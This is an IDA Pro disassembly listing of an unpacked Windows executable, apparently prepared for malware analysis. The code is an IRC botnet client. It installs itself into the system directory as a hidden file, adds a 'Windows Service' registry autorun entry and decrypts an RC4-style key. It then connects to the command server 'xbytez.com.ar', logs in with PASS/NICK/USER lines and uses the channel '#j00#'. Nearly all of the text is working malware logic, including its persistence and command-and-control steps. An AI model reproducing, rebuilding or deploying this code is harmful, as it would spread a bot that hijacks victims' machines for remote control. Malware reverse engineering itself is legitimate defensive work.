;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	60C8D56E33064D455A2184097800F6A0

; File Name   :	u:\work\60c8d56e33064d455a2184097800f6a0_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 000E5000 ( 937984.)
; Section size in file		: 000E5000 ( 937984.)
; Offset to raw	data for section: 00001000
; Flags	C0000020: Text Readable	Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write
_data		segment	para public 'CODE' use32
		assume cs:_data
		;org 401000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: sub_401404+346p
					; sub_411DDE+1Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		xor	esi, esi
		mov	ebx, offset aWindowsService ; "Windows Service"


loc_401010:				; CODE XREF: sub_401000+6Aj
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		push	edi
		push	0F003Fh
		push	edi
		push	edi
		push	edi
		push	off_437054[esi]
		push	dword_437050[esi]
		call	dword_4D661C	; RegCreateKeyExA
		cmp	[ebp+arg_0], edi
		jz	short loc_401051
		push	[ebp+arg_0]
		call	sub_414EC0
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	edi
		push	ebx
		push	[ebp+var_4]
		call	dword_4D668C	; RegSetValueExA
		jmp	short loc_40105B
; ---------------------------------------------------------------------------


loc_401051:				; CODE XREF: sub_401000+33j
		push	ebx
		push	[ebp+var_4]
		call	dword_4D65CC	; RegDeleteValueA


loc_40105B:				; CODE XREF: sub_401000+4Fj
		push	[ebp+var_4]
		call	dword_4D6644	; RegCloseKey
		add	esi, 8
		cmp	esi, 18h
		jb	short loc_401010
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================



sub_401071	proc near		; CODE XREF: sub_4010AA+54p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		or	esi, 0FFFFFFFFh
		test	edi, edi
		jz	short loc_4010A3
		mov	ecx, 0FFh
		push	ebx


loc_401088:				; CODE XREF: sub_401071+2Fj
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, dword_434020[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_401088
		pop	ebx


loc_4010A3:				; CODE XREF: sub_401071+Fj
		mov	eax, esi
		pop	edi
		not	eax
		pop	esi
		retn
sub_401071	endp


; =============== S U B	R O U T	I N E =======================================



sub_4010AA	proc near		; CODE XREF: sub_410C53+23Fp

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_415090
		mov	[esp+10h+var_10], offset dword_437068
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_4176E0
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jnz	short loc_4010F5


loc_4010CF:				; CODE XREF: sub_4010AA+37j
		xor	eax, eax
		jmp	short loc_401116
; ---------------------------------------------------------------------------


loc_4010D3:				; CODE XREF: sub_4010AA+4Fj
		inc	ebx
		push	ebx
		push	esi
		call	sub_415580
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4010CF
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_4173D0
		add	esp, 10h


loc_4010F5:				; CODE XREF: sub_4010AA+23j
		test	byte ptr [edi+0Ch], 10h
		jz	short loc_4010D3
		dec	ebx
		push	ebx
		push	esi
		call	sub_401071
		push	esi
		mov	ebx, eax
		call	sub_415C20
		push	edi
		call	sub_414F40
		add	esp, 10h
		mov	eax, ebx


loc_401116:				; CODE XREF: sub_4010AA+27j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4010AA	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 240h
		push	ebx
		push	esi
		lea	eax, [ebp-34h]
		push	edi
		xor	ebx, ebx
		push	eax
		xor	edi, edi
		mov	byte ptr [ebp-34h], 0Ah
		mov	byte ptr [ebp-33h], 0Eh
		mov	byte ptr [ebp-32h], 20h
		mov	byte ptr [ebp-31h], 48h
		mov	byte ptr [ebp-30h], 0Bh
		mov	byte ptr [ebp-2Fh], 2Bh
		mov	byte ptr [ebp-2Eh], 0Ch
		mov	byte ptr [ebp-2Dh], 23h
		mov	byte ptr [ebp-2Ch], 3Ah
		mov	byte ptr [ebp-2Bh], 27h
		mov	byte ptr [ebp-2Ah], 28h
		mov	byte ptr [ebp-29h], 5Eh
		mov	byte ptr [ebp-28h], 2Ah
		mov	byte ptr [ebp-27h], 1Eh
		mov	byte ptr [ebp-26h], 2Dh
		mov	byte ptr [ebp-25h], 5Ah
		mov	byte ptr [ebp-24h], 1Bh
		mov	byte ptr [ebp-23h], 0Fh
		mov	byte ptr [ebp-22h], 4Ch
		mov	byte ptr [ebp-21h], 44h
		mov	byte ptr [ebp-20h], 16h
		mov	byte ptr [ebp-1Fh], 4
		mov	byte ptr [ebp-1Eh], 57h
		mov	byte ptr [ebp-1Dh], 23h
		mov	byte ptr [ebp-1Ch], 11h
		mov	byte ptr [ebp-1Bh], 53h
		mov	byte ptr [ebp-1Ah], 38h
		mov	byte ptr [ebp-19h], 13h
		mov	byte ptr [ebp-18h], 0Dh
		mov	byte ptr [ebp-17h], 12h
		mov	byte ptr [ebp-16h], 25h
		mov	byte ptr [ebp-15h], 1Ch
		mov	byte ptr [ebp-14h], 30h
		mov	byte ptr [ebp-13h], 12h
		mov	byte ptr [ebp-12h], 50h
		mov	byte ptr [ebp-11h], 4Fh
		mov	byte ptr [ebp-10h], 39h
		mov	byte ptr [ebp-0Fh], 10h
		mov	byte ptr [ebp-0Eh], 42h
		mov	byte ptr [ebp-0Dh], 1Fh
		mov	byte ptr [ebp-0Ch], 37h
		mov	byte ptr [ebp-0Bh], 1Dh
		mov	byte ptr [ebp-0Ah], 41h
		mov	byte ptr [ebp-9], 55h
		mov	byte ptr [ebp-8], 2Ch
		mov	byte ptr [ebp-7], 41h
		mov	byte ptr [ebp-6], 2Ch
		mov	byte ptr [ebp-5], 58h
		mov	[ebp-4], bl
		call	sub_414EC0
		mov	esi, 101h
		mov	[ebp-38h], eax
		push	esi
		lea	eax, [ebp-13Ch]
		push	ebx
		push	eax
		call	sub_417700
		push	esi
		lea	eax, [ebp-240h]
		push	ebx
		push	eax
		call	sub_417700
		add	esp, 1Ch
		xor	eax, eax
		mov	ecx, 100h


loc_401224:				; CODE XREF: .data:0040122Ej
		mov	[ebp+eax-13Ch],	al
		inc	eax
		cmp	eax, ecx
		jb	short loc_401224
		cmp	[ebp+14h], ebx
		jz	short loc_401253
		xor	eax, eax


loc_401237:				; CODE XREF: .data:0040124Fj
		cmp	edi, [ebp+14h]
		jnz	short loc_40123E
		xor	edi, edi


loc_40123E:				; CODE XREF: .data:0040123Aj
		mov	edx, [ebp+10h]
		mov	dl, [edi+edx]
		inc	edi
		mov	[ebp+eax-240h],	dl
		inc	eax
		cmp	eax, ecx
		jb	short loc_401237
		jmp	short loc_40126D
; ---------------------------------------------------------------------------


loc_401253:				; CODE XREF: .data:00401233j
		xor	esi, esi


loc_401255:				; CODE XREF: .data:0040126Bj
		cmp	edi, [ebp-38h]
		jnz	short loc_40125C
		xor	edi, edi


loc_40125C:				; CODE XREF: .data:00401258j
		mov	al, [ebp+edi-34h]
		inc	edi
		mov	[ebp+esi-240h],	al
		inc	esi
		cmp	esi, ecx
		jb	short loc_401255


loc_40126D:				; CODE XREF: .data:00401251j
		mov	[ebp+14h], ebx
		xor	edi, edi
		mov	eax, 0FFh


loc_401277:				; CODE XREF: .data:004012A7j
		mov	ebx, [ebp+14h]
		mov	cl, [ebp+edi-240h]
		lea	esi, [ebp+edi-13Ch]
		mov	dl, [esi]
		add	ebx, edx
		add	ecx, ebx
		and	ecx, eax
		inc	edi
		mov	[ebp+14h], ecx
		cmp	edi, 100h
		lea	ecx, [ebp+ecx-13Ch]
		mov	bl, [ecx]
		mov	[esi], bl
		mov	[ecx], dl
		jb	short loc_401277
		xor	edi, edi
		cmp	[ebp+0Ch], edi
		mov	[ebp+14h], edi
		mov	[ebp+10h], edi
		jbe	short loc_4012FB


loc_4012B6:				; CODE XREF: .data:004012F9j
		inc	edi
		and	edi, eax
		lea	ecx, [ebp+edi-13Ch]
		mov	dl, [ecx]
		mov	bl, dl
		add	ebx, [ebp+14h]
		and	ebx, eax
		mov	esi, ebx
		mov	[ebp+14h], esi
		lea	esi, [ebp+esi-13Ch]
		mov	bl, [esi]
		mov	[ecx], bl
		mov	ebx, [ebp+10h]
		mov	[esi], dl
		mov	cl, [ecx]
		mov	esi, [ebp+8]
		add	ecx, edx
		and	ecx, eax
		add	esi, ebx
		mov	cl, [ebp+ecx-13Ch]
		xor	[esi], cl
		inc	ebx
		cmp	ebx, [ebp+0Ch]
		mov	[ebp+10h], ebx
		jb	short loc_4012B6


loc_4012FB:				; CODE XREF: .data:004012B4j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401300	proc near		; DATA XREF: sub_401404+14o

var_268		= dword	ptr -268h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_4495AC
		call	dword_4D6700	; closesocket
		call	sub_409826
		call	dword_4D65C0	; WSACleanup
		call	dword_4D65C0	; WSACleanup
		mov	ebx, dword_4E033C
		push	64h
		call	ebx	; Sleep
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_417700
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_417700
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset dword_44881C
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		call	dword_4E0338	; GetSystemDirectoryA
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		call	dword_4E0334	; GetModuleFileNameA
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		call	dword_4E0330	; CreateProcessA
		test	eax, eax
		jz	short loc_4013C5
		push	64h
		call	ebx	; Sleep
		push	[ebp+var_10]
		mov	esi, dword_4E032C
		call	esi	; CloseHandle
		push	[ebp+var_C]
		call	esi	; CloseHandle


loc_4013C5:				; CODE XREF: sub_401300+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_448818
		mov	eax, [esp+268h+var_268]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		call	dword_4E0328	; ExitProcess
		pop	edi
		pop	esi
		pop	ebx


loc_4013E8:				; DATA XREF: .data:00437004o
		jmp	$+5
		push	0FFFFh
		push	539h
		call	sub_412243
		pop	ecx
		mov	dword_4D63A0, eax
		pop	ecx
		retn
sub_401300	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401404	proc near		; CODE XREF: sub_41AB00+121p

var_984		= byte ptr -984h
var_880		= byte ptr -880h
var_87F		= byte ptr -87Fh
var_6F0		= byte ptr -6F0h
var_5F0		= byte ptr -5F0h
var_4EC		= byte ptr -4ECh
var_3EC		= byte ptr -3ECh
var_2E8		= byte ptr -2E8h
var_1E4		= byte ptr -1E4h
var_E0		= dword	ptr -0E0h
var_D4		= dword	ptr -0D4h
var_B4		= dword	ptr -0B4h
var_B0		= word ptr -0B0h
var_9C		= byte ptr -9Ch
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 984h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], offset sub_401300
		push	[ebp+var_4]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, dword_4E036C
		call	esi	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_4D63A4, eax
		call	esi	; GetTickCount
		push	eax
		call	sub_417DB0
		pop	ecx
		call	sub_4076E5
		push	2
		call	dword_4D6714	; SetErrorMode
		push	7530h
		push	offset aJav0	; "Jav0"
		push	ebx
		push	ebx
		call	dword_4E0368	; CreateMutexA
		push	eax
		call	dword_4E0364	; WaitForSingleObject
		cmp	eax, 102h
		jnz	short loc_401484
		push	1
		call	dword_4E0328	; ExitProcess


loc_401484:				; CODE XREF: sub_401404+76j
		lea	eax, [ebp+var_880]
		push	eax
		push	202h
		call	dword_4D65D8	; WSAStartup
		cmp	eax, ebx
		jnz	loc_40199C
		cmp	[ebp+var_880], 2
		jnz	loc_401996
		xor	eax, eax
		mov	al, [ebp+var_87F]
		cmp	al, 2
		jnz	loc_401996
		mov	esi, 104h
		lea	eax, [ebp+var_3EC]
		push	esi
		push	eax
		call	dword_4E0338	; GetSystemDirectoryA
		lea	eax, [ebp+var_2E8]
		push	esi
		push	eax
		push	ebx
		call	dword_4E0360	; GetModuleHandleA
		push	eax
		call	dword_4E0334	; GetModuleFileNameA
		lea	eax, [ebp+var_4EC]
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		push	ebx
		lea	eax, [ebp+var_2E8]
		push	ebx
		push	eax
		call	sub_417F80
		lea	eax, [ebp+var_4EC]
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		push	offset dword_437A44
		lea	eax, [ebp+var_5F0]
		push	esi
		push	eax
		call	sub_417E80
		lea	eax, [ebp+var_3EC]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	eax
		call	sub_417E00
		add	esp, 30h
		test	eax, eax
		jnz	loc_4016E7
		cmp	dword_437090, ebx
		mov	esi, offset byte_4370EC
		jz	short loc_40157C
		push	esi
		xor	edi, edi
		call	sub_414EC0
		sub	eax, 4
		pop	ecx
		jz	short loc_40157C


loc_401559:				; CODE XREF: sub_401404+176j
		call	sub_417DC0
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	byte_4370EC[edi], dl
		inc	edi
		call	sub_414EC0
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_401559


loc_40157C:				; CODE XREF: sub_401404+145j
					; sub_401404+153j
		lea	eax, [ebp+var_3EC]
		push	esi
		push	eax
		lea	eax, [ebp+var_1E4]
		push	offset dword_437A4C
		push	eax
		call	sub_417CB0
		add	esp, 10h
		lea	eax, [ebp+var_1E4]
		push	eax
		call	dword_4E035C	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4015BC
		lea	eax, [ebp+var_1E4]
		push	80h
		push	eax
		call	dword_4E0358	; SetFileAttributesA


loc_4015BC:				; CODE XREF: sub_401404+1A4j
		mov	esi, dword_4E0354
		xor	edi, edi
		jmp	short loc_4015E8
; ---------------------------------------------------------------------------


loc_4015C6:				; CODE XREF: sub_401404+1F7j
		call	dword_4E0350	; RtlGetLastWin32Error
		cmp	edi, ebx
		jnz	short loc_4015FD
		cmp	eax, 20h
		jz	short loc_4015DA
		cmp	eax, 5
		jnz	short loc_4015FD


loc_4015DA:				; CODE XREF: sub_401404+1CFj
		xor	edi, edi
		push	3A98h
		inc	edi
		call	dword_4E033C	; Sleep


loc_4015E8:				; CODE XREF: sub_401404+1C0j
		lea	eax, [ebp+var_1E4]
		push	ebx
		push	eax
		lea	eax, [ebp+var_2E8]
		push	eax
		call	esi	; CopyFileA
		test	eax, eax
		jz	short loc_4015C6


loc_4015FD:				; CODE XREF: sub_401404+1CAj
					; sub_401404+1D4j
		lea	eax, [ebp+var_1E4]
		push	eax
		call	sub_411C9A
		pop	ecx
		lea	eax, [ebp+var_1E4]
		push	7
		push	eax
		call	dword_4E0358	; SetFileAttributesA
		push	10h
		lea	eax, [ebp+var_1C]
		push	ebx
		push	eax
		call	sub_417700
		push	44h
		lea	eax, [ebp+var_E0]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_417700
		mov	[ebp+var_E0], esi
		xor	esi, esi
		inc	esi
		add	esp, 18h
		mov	[ebp+var_D4], offset byte_4D651C
		mov	[ebp+var_B4], esi
		mov	[ebp+var_B0], bx
		call	dword_4E034C	; GetCurrentProcessId
		push	eax
		push	esi
		push	100000h
		call	dword_4E0348	; OpenProcess
		lea	ecx, [ebp+var_2E8]
		push	ecx
		push	eax
		lea	eax, [ebp+var_1E4]
		push	eax
		lea	eax, [ebp+var_984]
		push	offset dword_437A54
		push	eax
		call	sub_417CB0
		add	esp, 14h
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_E0]
		push	eax
		lea	eax, [ebp+var_3EC]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp+var_984]
		push	ebx
		push	eax
		lea	eax, [ebp+var_1E4]
		push	eax
		call	dword_4E0330	; CreateProcessA
		test	eax, eax
		jz	short loc_4016E7
		push	0C8h
		call	dword_4E033C	; Sleep
		push	[ebp+var_1C]
		mov	esi, dword_4E032C
		call	esi	; CloseHandle
		push	[ebp+var_18]
		call	esi	; CloseHandle
		call	dword_4D65C0	; WSACleanup
		push	ebx
		call	dword_4E0328	; ExitProcess


loc_4016E7:				; CODE XREF: sub_401404+134j
					; sub_401404+2B9j
		cmp	dword_4DDF94, 2
		jle	short loc_401733
		mov	eax, dword_4DDF98
		push	dword ptr [eax+4]
		call	sub_417960
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		call	dword_4E0364	; WaitForSingleObject
		push	esi
		call	dword_4E032C	; CloseHandle
		mov	eax, dword_4DDF98
		cmp	[eax+8], ebx
		jz	short loc_401733
		push	7D0h
		call	dword_4E033C	; Sleep
		mov	eax, dword_4DDF98
		push	dword ptr [eax+8]
		call	dword_4E0344	; DeleteFileA


loc_401733:				; CODE XREF: sub_401404+2EAj
					; sub_401404+314j
		cmp	dword_437094, ebx
		jz	short loc_401750
		cmp	dword_4D6734, ebx
		jnz	short loc_401750
		lea	eax, [ebp+var_5F0]
		push	eax
		call	sub_401000
		pop	ecx


loc_401750:				; CODE XREF: sub_401404+335j
					; sub_401404+33Dj
		lea	eax, [ebp+var_9C]
		push	offset dword_437A60
		push	eax
		call	sub_417CB0
		push	ebx
		lea	eax, [ebp+var_9C]
		push	ebx
		push	eax
		call	sub_409663
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_40F927
		push	0B80h
		push	ebx
		push	offset dword_448820
		call	sub_417700
		lea	eax, [ebp+var_9C]
		push	offset unk_437A7C
		push	eax
		call	sub_417CB0
		push	ebx
		lea	eax, [ebp+var_9C]
		push	1
		push	eax
		call	sub_409663
		add	esp, 38h
		mov	esi, eax
		mov	edi, dword_4E0340
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		push	ebx
		push	offset sub_413B48
		push	ebx
		push	ebx
		call	edi	; CreateThread
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_4495B4[esi], eax
		jnz	short loc_4017F0
		call	dword_4E0350	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_9C]
		push	offset unk_437AA0
		push	eax
		call	sub_417CB0
		add	esp, 0Ch


loc_4017F0:				; CODE XREF: sub_401404+3CFj
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_40F927
		push	2
		call	sub_4098A5
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401875
		lea	eax, [ebp+var_9C]
		push	offset dword_437AE0
		push	eax
		call	sub_417CB0
		push	ebx
		lea	eax, [ebp+var_9C]
		push	2
		push	eax
		call	sub_409663
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		push	esi
		push	offset sub_40E91A
		push	ebx
		push	ebx
		call	edi	; CreateThread
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_4495B4[esi], eax
		jnz	short loc_401868
		call	dword_4E0350	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_9C]
		push	offset dword_437B0C
		push	eax
		call	sub_417CB0
		add	esp, 0Ch


loc_401868:				; CODE XREF: sub_401404+447j
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_40F927
		pop	ecx


loc_401875:				; CODE XREF: sub_401404+403j
		call	sub_417DC0
		push	7Fh
		and	eax, 3
		push	offset aXbytez_com_ar ;	"xbytez.com.ar"
		push	offset dword_4D63AC
		mov	dword_4D6518, eax
		call	sub_417760
		mov	eax, dword_437070
		push	3Fh
		mov	edi, offset dword_4D642C
		push	offset aJ00	; "#j00#"
		push	edi
		mov	dword_4D64FC, eax
		call	sub_417760
		push	3Fh
		mov	esi, offset dword_4D646C
		push	offset byte_4D650C
		push	esi
		call	sub_417760
		mov	dword_4D6500, ebx


loc_4018C7:				; CODE XREF: sub_401404+53Ej
					; sub_401404+588j
		add	esp, 24h


loc_4018CA:				; CODE XREF: sub_401404+546j
		mov	[ebp+var_4], ebx


loc_4018CD:				; CODE XREF: sub_401404+4FFj
		push	offset dword_4D63A8
		mov	dword_4D6514, ebx
		call	sub_4019A5
		cmp	eax, 2
		jz	loc_401991
		cmp	dword_4D6514, ebx
		jz	short loc_4018F1
		dec	[ebp+var_4]


loc_4018F1:				; CODE XREF: sub_401404+4E8j
		push	0BB8h
		call	dword_4E033C	; Sleep
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 6
		jl	short loc_4018CD
		cmp	[ebp+var_C], ebx
		jz	short loc_401944
		push	7Fh
		push	offset aXbytez_com_ar ;	"xbytez.com.ar"
		push	offset dword_4D63AC
		call	sub_417760
		mov	eax, dword_437070
		push	3Fh
		push	offset aJ00	; "#j00#"
		push	edi
		mov	dword_4D64FC, eax
		call	sub_417760
		push	3Fh
		push	offset byte_4D650C
		push	esi
		call	sub_417760
		mov	[ebp+var_C], ebx
		jmp	short loc_4018C7
; ---------------------------------------------------------------------------


loc_401944:				; CODE XREF: sub_401404+504j
		cmp	byte_4D650D, bl
		jz	loc_4018CA
		push	7Fh
		push	offset byte_4D650D
		push	offset dword_4D63AC
		call	sub_417760
		mov	eax, dword_437074
		push	3Fh
		push	offset byte_4D650E
		push	edi
		mov	dword_4D64FC, eax
		call	sub_417760
		push	3Fh
		push	offset byte_4D650F
		push	esi
		call	sub_417760
		mov	[ebp+var_C], 1
		jmp	loc_4018C7
; ---------------------------------------------------------------------------


loc_401991:				; CODE XREF: sub_401404+4DCj
		call	sub_409826


loc_401996:				; CODE XREF: sub_401404+A1j
					; sub_401404+B1j
		call	dword_4D65C0	; WSACleanup


loc_40199C:				; CODE XREF: sub_401404+94j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h
sub_401404	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4019A5	proc near		; CODE XREF: sub_401404+4D4p
					; DATA XREF: sub_401C87+4FACo

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1


loc_4019CA:				; CODE XREF: sub_4019A5+E6j
					; sub_4019A5+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_417700
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	dword_4D6668	; ntohs
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_408766
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_401B07
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_417700
		push	0
		lea	eax, [ebp+var_2C]
		push	dword_4370A4
		push	dword_4370A0
		push	eax
		call	sub_409361
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_4495B8
		push	edi
		push	eax
		call	sub_417760
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_4D66E8	; socket
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_4495AC[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_4D6610	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401A90
		push	esi
		call	dword_4D6700	; closesocket
		call	sub_40878F
		push	7D0h


loc_401A85:				; CODE XREF: sub_4019A5+146j
		call	dword_4E033C	; Sleep
		jmp	loc_4019CA
; ---------------------------------------------------------------------------


loc_401A90:				; CODE XREF: sub_4019A5+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset unk_437B40
		call	sub_40F99B
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_401B0B
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_4D6700	; closesocket
		test	edi, edi
		jz	loc_4019CA
		cmp	edi, 1
		jnz	short loc_401AED
		push	0DBBA0h
		jmp	short loc_401A85
; ---------------------------------------------------------------------------


loc_401AED:				; CODE XREF: sub_4019A5+13Fj
		cmp	edi, 2
		jnz	loc_4019CA
		push	[ebp+var_34]
		call	sub_409979
		pop	ecx
		push	edi
		pop	eax


loc_401B01:				; CODE XREF: sub_4019A5+164j
		pop	edi
		pop	esi
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_401B07:				; CODE XREF: sub_4019A5+5Aj
		xor	eax, eax
		jmp	short loc_401B01
sub_4019A5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401B0B	proc near		; CODE XREF: sub_4019A5+123p

var_1A90	= byte ptr -1A90h
var_A90		= byte ptr -0A90h
var_2C0		= byte ptr -2C0h
var_140		= byte ptr -140h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A90h
		call	sub_4181D0
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	3
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_2C0]
		pop	ecx


loc_401B29:				; CODE XREF: sub_401B0B+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_401B29
		cmp	byte_4370D8, bl
		jz	short loc_401B50
		push	offset byte_4370D8
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_407604
		add	esp, 0Ch


loc_401B50:				; CODE XREF: sub_401B0B+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_409361
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_417CB0
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_414EC0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	dword_4D66B8	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401BBA
